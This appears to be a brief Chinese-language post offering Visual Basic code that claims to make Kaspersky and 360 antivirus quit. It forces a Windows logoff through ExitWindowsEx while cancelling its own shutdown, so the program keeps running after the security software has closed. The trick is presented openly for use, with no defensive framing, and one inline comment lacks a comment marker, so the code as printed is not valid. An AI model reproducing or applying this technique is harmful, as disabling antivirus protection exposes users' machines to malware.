两句代码使卡巴、360自动退出

两句代码使卡巴、360自动退出

　　Private Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long

　　Private Sub Command1_Click()

　　ExitWindowsEx 0, 0 通过注销系统让反病毒软件自动退出

　　End Sub

　　Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)

　　If UnloadMode = 2 Then Cancel = True

　　End Sub